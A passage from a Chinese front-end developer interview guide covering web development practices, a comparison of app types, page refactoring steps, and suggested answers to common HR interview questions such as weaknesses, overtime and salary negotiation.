  5. 多机型、多尺寸、多系统覆盖测试:在开发过程中,要充分考虑不同设备、不同屏幕尺寸和不同操作系统的兼容性,进行全面的测试,确保网页在各种环境下都能正常显示和工作。

此外,还有一些其他的注意事项:

  • 优化网页性能:合理使用缓存、压缩资源、减少HTTP请求等方式来提升网页的加载速度和响应性能。
  • 代码规范和可维护性:遵循一致的命名规范,使用合适的注释,拆分模块,保持代码的可读性和可维护性。
  • 跨浏览器兼容性:测试和确保网页在主流浏览器(如Chrome、Firefox、Safari、Edge等)上都能正常运行。
  • 安全性:注意防止常见的Web安全漏洞,如跨站脚本攻击(XSS)、跨站请求伪造(CSRF)等。

综上所述,注意这些事项可以帮助你开发出更高质量、更兼容性好的Web前端项目。

# 8 在设计 Web APP 时,应当遵循以下几点

在设计Web APP时,可以遵循以下几点来提升用户体验和页面效果:

  1. 简化不重要的动画/动效/图形文字样式:避免过度使用动画效果和视觉元素,保持页面简洁和清晰。只在必要的地方使用动画,确保其对用户体验有积极影响。
  2. 少用手势,避免与浏览器手势冲突:在设计交互时,尽量减少需要用户进行复杂手势操作的情况,避免与浏览器自带手势产生冲突。保持用户操作的简洁性和一致性。
  3. **减少页面内容和跳转次数:优化页面内容,保持简洁明了,尽量在当前页面展示所需的信息和功能,避免频繁的页面跳转。通过局部刷新、异步加载等技术手段来提升用户体验和页面加载速度。
  4. 增强Loading趣味性,增强页面主次关系:在加载过程中,可以设计有趣的加载动画或提示,提高用户的等待体验。同时,通过合适的页面布局和元素设计,突出页面的主要内容和功能,帮助用户更快地获取所需信息。

综上所述,遵循以上设计原则可以使Web APP在用户体验和页面效果方面更出色,提供更好的用户体验和用户参与感。

# 9 你怎么看待 Web App/hybrid App/Native App?(移动端前端 和 Web 前端区别?)

  • Web App(HTML5):采用HTML5生存在浏览器中的应用,不需要下载安装
    • 优点:开发成本低,迭代更新容易,不需用户升级,跨多个平台和终端
    • 缺点:消息推送不够及时,支持图形和动画效果较差,功能使用限制(相机、GPS等)
  • Hybrid App(混合开发):UI WebView,需要下载安装
    • 优点:接近 Native App 的体验,部分支持离线功能
    • 缺点:性能速度较慢,未知的部署时间,受限于技术尚不成熟
  • Native App(原生开发):依托于操作系统,有很强的交互,需要用户下载安装使用
    • 优点:用户体验完美,支持离线工作,可访问本地资源(通讯录,相册)
    • 缺点:开发成本高(多系统),开发成本高(版本更新),需要应用商店的审核

移动端前端和Web前端在某些方面存在区别,如下所示:

  1. 开发环境和技术:移动端前端主要面向移动设备,需要熟悉移动端的开发环境和相关技术,如React Native、Flutter、Ionic等。而Web前端则主要面向浏览器,使用HTML、CSS、JavaScript等技术进行开发。
  2. 用户体验和交互:移动端前端需要更关注移动设备的特性和用户体验,例如触摸操作、手势识别、屏幕适配等,以提供更好的移动端交互体验。而Web前端则更注重页面的响应式设计和跨浏览器兼容性,以确保在不同浏览器和设备上的良好表现。
  3. 功能支持和限制:移动端前端开发可能会受到一些限制,如对设备资源的访问(相机、GPS等)、消息推送的限制等。而Web前端在功能上较为灵活,可以通过浏览器提供的API和插件来实现一些高级功能。
  4. 部署和更新:移动端前端需要通过应用商店进行发布和更新,需要经过审核和下载安装。而Web前端则可以直接通过URL访问,无需下载安装,便于部署和更新。

综上所述,移动端前端和Web前端在开发环境、用户体验、功能支持和部署等方面存在一些区别,开发者需要根据具体需求和平台选择合适的开发方式。同时,随着技术的不断发展,Hybrid App和Web App的出现使得移动端前端在一定程度上能够接近Native App的体验。

# 10 页面重构怎么操作

页面重构是对网站或应用程序进行优化和改进的过程,旨在提高页面性能、用户体验和代码可维护性。以下是页面重构的一般操作步骤:

  1. 分析和评估:首先,对现有页面进行全面的分析和评估。确定需要改进的方面,如页面加载速度、响应性能、代码结构等。
  2. 设计和规划:根据分析的结果,设计新的页面结构和布局,并规划重构的步骤和优化策略。确保重构后的页面能够提供更好的用户体验和性能。
  3. HTML重构:根据设计和规划,对HTML代码进行重构。优化标签的结构和语义化,使用合适的标签和属性,去除冗余代码和不必要的嵌套。
  4. CSS重构:对CSS样式进行重构,优化样式的选择器和属性的使用。遵循CSS规范,减少样式冗余,提高样式的复用性和可维护性。
  5. JavaScript重构:对JavaScript代码进行重构,优化代码的结构和逻辑。使用模块化开发和设计模式,减少全局变量的使用,提高代码的可读性和可维护性。
  6. 图片和资源优化:对页面中的图片和其他资源进行优化,压缩文件大小,提高加载速度。使用合适的图片格式,使用雪碧图或矢量图标减少HTTP请求。
  7. 响应式设计:考虑不同设备和屏幕尺寸的适配,使用响应式布局和媒体查询,确保页面在不同设备上具有良好的展示效果。
  8. 性能优化:优化页面的性能,包括减少HTTP请求,使用缓存机制,延迟加载和异步加载资源,合理使用CSS和JavaScript动画效果等。
  9. 测试和调试:在重构完成后,进行全面的测试和调试,确保页面在不同浏览器和设备上正常运行,并验证重构的效果和改进是否符合预期。
  10. 部署和上线:将重构后的页面部署到生产环境,并监控其性能和用户反馈。根据反馈和数据进行进一步的优化和改进。

页面重构是一个综合性的工作,需要综合考虑页面结构、样式、脚本和性能等方面的优化。通过合理的规划和操作,可以提升页面的质量、性能和用户体验。

# 十一、HR面相关

# 常见问题

  1. 自我介绍
    • 自我介绍时,可以提及个人的背景、教育经历、工作经验和技能特长,突出与应聘职位相关的成就和能力。
  2. 面试完你还有什么问题要问的吗?
    • 可以问一些之前提到的关于公司、部门、团队、项目以及职位的问题,以进一步了解潜在工作机会的细节和整体情况。
  3. 你有什么爱好?
    • 可以提及个人的爱好和兴趣,例如读书、旅行、运动、音乐、社交活动等。这能够展示你的多元化和个人生活外的兴趣领域。
  4. 你最大的优点和缺点是什么?
    • 在回答这个问题时,可以结合个人的实际情况,提及你在工作中表现出的优点,如团队合作、自我驱动、问题解决能力等,并且诚实地提及你认为的改进空间或缺点,并说明你在努力改进。
  5. 你为什么会选择这个行业、职位?
    • 可以分享个人对该行业的兴趣和热爱,以及对相关技能和挑战的认可。强调个人与该行业、职位的契合度,以及追求个人发展和成长的动力。
  6. 你觉得你适合从事这个岗位吗?
    • 回答时可以结合个人的技能、经验和特长,阐述为什么你认为自己是一个适合该岗位的人选,并举例说明相关的工作经历和成就。
  7. 你有什么职业规划?
    • 可以分享个人在未来职业发展方面的目标和计划,例如短期和长期的职业规划、技能提升和学习的重点,以及希望在哪些方面取得进展和成就。
  8. 你对工资有什么要求?
    • 在回答这个问题时,可以表达对市场薪资的了解,并根据个人的技能、经验和职位要求,提出一个合理的薪资范围,同时强调自己对工作内容和发展机会的重视。
  9. 如何看待前端开发?
    • 可以表达对前端开发的重要性和价值的认识,以及对前端技术的兴趣和热情。可以提及前端在用户体验和界面设计方面的作用,以及前端与后端、设计团队的紧密合作,共同构建出优秀的产品和应用的重要性。
    • 同时,可以强调前端开发的快速发展和不断演进的特点,需要不断学习和跟进最新的技术趋势和工具,以提供最佳的用户体验和响应式的界面设计。可以谈论自己对前端技术的持续学习和探索,并且强调自己愿意面对前端开发中的挑战和解决复杂问题的能力。
    • 此外,可以提及前端开发在移动端和跨平台开发方面的重要性,以及在不同浏览器和设备上保持一致性的挑战。最重要的是,强调自己对前端开发的热情和对构建出优质用户体验的追求。
  10. 未来三到五年的规划是怎样的?
  • 可以描述个人在未来三到五年内希望在职业发展方面达到的目标和计划。可以包括技术方面的深入学习、项目管理经验的积累、团队领导能力的提升等方面。
  1. 你的项目中技术难点是什么?遇到了什么问题?你是怎么解决的?
  • 可以选择一个具体的项目经历,描述其中遇到的技术难点和问题,并详细说明你是如何面对挑战、寻找解决方案以及最终解决问题的经验和能力。
  1. 你们部门的开发流程是怎样的?
  • 可以询问对方关于公司部门的开发流程、敏捷开发方法、版本控制工具等方面的情况,以了解公司在软件开发过程中的组织方式和团队协作模式。
  1. 你认为哪个项目做得最好?
  • 可以选择一个你参与过或者熟悉的项目,介绍其中的亮点、成就和对团队和业务的贡献,突出个人在项目中的角色和贡献。
  1. 说下工作中你做过的一些性能优化处理。
  • 可以提及个人在项目中对性能优化方面所做的工作,例如代码优化、资源压缩、缓存策略、异步加载等方法,以及通过性能测试和监控来评估和改进应用的性能。
  1. 最近在看哪些前端方面的书?
  • 可以分享个人最近阅读的与前端开发相关的书籍,可以是关于新技术、前端框架、设计模式、性能优化等方面的书籍,以展示自己对前端领域的持续学习和进展。
  1. 平时是如何学习前端开发的?
  • 可以描述个人平时学习前端开发的方法和途径,例如阅读技术博客、参与在线课程、实践项目、参加技术交流会议等,以展示自己的学习能力和对前端领域的持续关注。
  1. 你最有成就感的一件事
  • 可以分享个人在工作或项目中取得的最有成就感的经历,强调个人的努力、贡献和团队合作所取得的成果,突出自己的成就和价值。
  1. 你为什么要离开前一家公司?
  • 在回答这个问题时,可以提及离职的原因,例如寻求更好的职业发展机会、追求个人成长和挑战、寻找更适合自己的工作环境等。重点强调离职的决策是出于个人发展和职业目标的考虑。
  1. 你对加班的看法?
  • 可以表达个人对加班的态度和看法。可以强调平衡工作和生活的重要性,同时指出愿意在关键时期适当加班以完成任务,但也强调重视工作效率和合理分配工作时间的重要性。
  1. 你希望通过这份工作获得什么?
  • 可以说明个人对这份工作的期望和目标,例如获取更丰富的经验和技能、发展个人的专业能力、与优秀的团队合作、为公司的成功做出贡献等。重点强调自己对工作的积极态度和对职位的热情。

请注意,以上只是一些常见问题的示例回答,具体回答应根据个人实际情况进行调整和提炼,以展现个人的优势、能力和适应性。同时,回答问题时要真实、坦诚,与面试官进行积极互动,展现自己的价值和潜力。

前端常见面试流程

最后一个问题:面试官问,你想了解什么(面试一定要问这几个问题)

当面试官问到你有什么想了解的问题时,以下是一些问题可以提出:

  1. 关于部门和业务:
    • 可以请面试官介绍一下该部门所负责的产品和业务领域,了解其在行业中的地位和竞争优势。
    • 询问产品的用户规模和市场份额,以了解产品的受欢迎程度和发展潜力。
  2. 关于团队和角色:
    • 询问部门的规模和组成,包括团队人数和各个角色的分布,以了解团队的规模和组织结构。
    • 可以问一下团队中的协作方式和沟通流程,以了解团队的工作氛围和协作效率。
  3. 关于技术栈和项目:
    • 可以请面试官介绍一下当前项目所使用的技术栈和开发工具,了解技术栈的现状和是否与自己的技术背景匹配。
    • 询问有关技术团队的技术发展和创新方向,以了解团队在技术上的前瞻性和成长空间。

这些问题可以帮助你更好地了解潜在工作机会的方方面面,包括产品、团队和技术等关键要素。同时,通过提出这些问题,你还能展现出你对公司和职位的兴趣,并显示出你对细节和整体情况的关注。

# 你觉得你有哪些不足之处

  • 我觉得自己在xx方面存在不足(不足限制在技术上聊,不要谈其他容易掉HR的坑里)
  • 但我已意识到并开始学习
  • 我估计在xx时间把这块给补齐

要限定一个范围

  • 技术方面的
  • 非核心技术栈的,即有不足也无大碍
  • 些容易弥补的,后面才能“翻身”

错误的示范

  • 我爱睡懒觉、总是迟到 —— 非技术方面
  • 我自学的 Vue ,但还没有实践过 —— 核心技术栈
  • 我不懂 React —— 技术栈太大,不容易弥补

正确的示范

  • 脚手架,我还在学习中,还不熟练
  • nodejs 还需要继续深入学习

# 你觉得你最大的缺点是什么

当被问到自己最大的缺点时,可以使用以下策略来回答:

  1. 弱点与职业相关:提到一个与你当前从事的职业相关的弱点。例如,如果你是前端开发人员,可以说你在运维和部署方面的知识和经验相对不足;如果你是后端开发人员,可以提到对于炫酷的页面交互设计方面的熟悉度还有待提高。
  2. 突出学习态度:将你的缺点与积极的学习态度联系起来。举例来说,你可以说在过去的工作中,由于工作要求没有经常使用某个特定的技术栈,因此对该技术栈的理解还不够深入。但你强调自己的好学心态,并说明你主动购买相关书籍、观看教学视频,并利用业余时间积极学习和探索。
  3. 自我进步与分享:强调你在个人成长方面所做的努力和投入。提到每天下班后用一个小时的时间参与技术论坛(如掘金、CSDN等),阅读他人的文章,并与他们交流和分享自己的疑惑。强调通过与他人互动,共同进步,并逐渐增强自己在该领域的专业知识。

通过这种回答方式,你不仅能够坦诚地承认自己的缺点,还能够展示自己的学习能力和积极进取的态度,给面试官留下积极向上的印象。

# 你还有其他公司的Offer吗?

在回答是否有其他公司的Offer时,可以使用以下方式:

  1. 确认有多个Offer:表示自己已经收到了多个工作机会的邀约,可以说有三四个已经确认过的Offer。但是,避免透露具体公司的名称,以避免违反保密约定或造成不必要的麻烦。
  2. 表示对本公司的意向:强调对本公司的兴趣和优先考虑。可以说,尽管有多个Offer,但本公司是你的首选,你对这里的工作环境、文化以及发展机会很感兴趣。如果薪资差距不大,你会倾向于选择本公司。
  3. 提及其他催促的Offer:透露有一两个Offer对你的决定比较急迫,希望本公司能够尽快给出结果。这样可以传达你对本公司的热忱,同时给予HR或招聘团队一些压力,加快决策的速度。

重要的是,保持真实和诚实,并且在回答时展现出对本公司的兴趣和积极性,但不要过于咄咄逼人或给人留下不专业的印象。

# 为什么从上一家公司离职?

在回答为什么离开上一家公司时,可以提及以下原因:

  1. 长时间通勤:可以说公司搬迁导致通勤时间变得过长,例如三个小时的通勤时间。这样的情况下,每天花费在路途上的时间过多,影响到了工作与生活的平衡。
  2. 工作与生活平衡:可以表达对工作与生活平衡的追求。指出在上一家公司由于长时间加班,没有足够的时间用于个人发展和充电,无法提高自己的技能和知识。这可能是导致你寻求一个更好的工作环境和更好的生活质量的原因之一。
  3. 进一步发展:强调你对个人职业发展的追求。指出你在上一家公司的成长空间有限,希望能够找到一个更有挑战性和发展机会的岗位。你希望能够在新的工作环境中学习和成长,并为公司做出更大的贡献。
  4. 其他因素:除了以上原因,还可以提及其他可能的因素,如公司文化不符合个人价值观、缺乏晋升机会或薪资待遇不合理等。但需要注意,避免过于负面或批评性的表达,以保持专业和积极的形象。

重要的是,在回答时保持真实性和诚实性,并强调你离开的原因与你目前的职业目标和对新公司的期望相符合。

# 如何看待加班(996)?

  • 对于加班(996)这个话题,我的观点是将其分为紧急加班和长期加班两种情况,并采取不同的态度和应对方式。
  • 首先,对于紧急加班,我理解在某些情况下,公司和团队可能面临紧迫的项目交付或突发的问题需要解决。在这种情况下,我愿意主动承担加班工作,牺牲自己的时间来帮助公司和团队完成任务。我认为这是每个公司都会遇到的情况,作为团队成员,我愿意以身作则,积极配合团队的需要。
  • 然而,对于长期加班,我持有不同的观点。如果我个人长期加班,我会认为这是一个机会来磨练自己的技能,并提高工作效率。长期加班可能是因为时间管理不当、工作安排不合理或者缺乏高效的工作流程等原因造成的。在这种情况下,我会积极寻找解决问题的方式,如优化个人工作流程、学习和应用自动化工具、改进协作方式等,以提高工作效率并摆脱长期加班的状态。
  • 如果是团队长期加班,我会尝试帮助团队找到问题所在,并提出改进方案。我会与团队成员一起探讨和实施高效的协作流程,引入适当的自动化工具和技术,以提高整个团队的工作效率。我认为通过团队的努力,可以摆脱长期加班的局面,使工作更加高效、有序,并确保成员的工作与生活平衡。
  • 总的来说,我认为加班在某些情况下是不可避免的,但长期加班不应该成为常态。我会尽力提高个人和团队的工作效率,找到问题所在,并积极采取措施解决,以实现工作与生活的平衡。同时,我也鼓励团队成员之间的相互支持和合作,共同努力营造一个高效、有序的工作环境。

# 你对未来3-5年的职业规划

  • 对于未来3-5年的职业规划,我已经认真考虑过,并且有一些明确的目标和计划。目前,我正处于职业发展的早期阶段,我希望能够在现有的岗位上不断提升自己,并逐步承担更高级别的责任和挑战。
  • 从工作本身出发,我计划通过持续努力和学习,不断提高自己的技术能力和解决问题的能力。我将致力于出色完成本职工作,同时积极与团队合作,为团队的成功贡献我的力量。我希望能够带领团队的其他成员,共同创造更多的价值,并帮助团队扩大影响力,提升整个团队的表现。
  • 除了在工作中表现出色,我也非常重视学习和个人成长。我会继续精进自己的领域知识,不断跟进行业的发展动态,并通过参加培训、研讨会等途径不断提升自己的专业能力。我也愿意与团队分享我的学习成果,帮助团队中的其他成员成长和发展。
  • 总的来说,我的职业规划是在未来3-5年内通过不断学习和实践,成为在我的领域中具备丰富经验和卓越表现的专业人士。我希望能够在团队中发挥更大的作用,取得职业上的突破,并为公司的发展做出积极的贡献。

# 如何与HR谈薪资

与HR谈薪资时,可以采取一些策略和技巧来达到更好的结果。以下是一些建议:

  1. 先了解市场行情:在面试之前,可以调研该职位在市场上的薪资范围,以便有一个大致的参考标准。这样你就能更有理据地进行讨论。
  2. 引导HR给出薪资范围**:当HR问你期望的薪资时,你可以委婉地回答:“根据我的经验和技能,我期望能够获得与市场价值相符的薪资。贵公司对该职位的薪资范围是多少呢?”这样可以让HR先给出一个参考范围,为后续的讨论提供依据。
  3. 强调你的价值:在谈论薪资时,强调你在面试中展现出的能力和潜力,以及你对公司的价值和贡献。说明你具备的技能、经验和特长,并举例说明你如何在过去的工作中为公司创造了价值。这样可以增加谈判时争取更好薪资的机会。
  4. 谈论综合福利:薪资并不是唯一的关注点,还有其他福利待遇,如培训机会、晋升空间、灵活的工作时间等。在与HR谈判时,可以提及你对这些综合福利的重视,并尝试寻求一种综合福利与薪资相平衡的方案。 5.** 灵活性的回答**:在给出薪资期望时,可以给出一个范围而非具体数字,这样可以在一定程度上保留谈判的空间。例如:“根据我对市场的了解,我期望的薪资在X到Y之间,具体的数字可以根据公司对我的综合评估来确定。”

最重要的是要保持积极、开放的态度,并尊重双方的利益和限制。通过明确表达自己的期望和对公司的价值,与HR进行积极的讨论和协商,有助于达成一个双方都满意的薪资安排。

阅读全文
Last Updated: 3/17/2024, 12:30:42 PM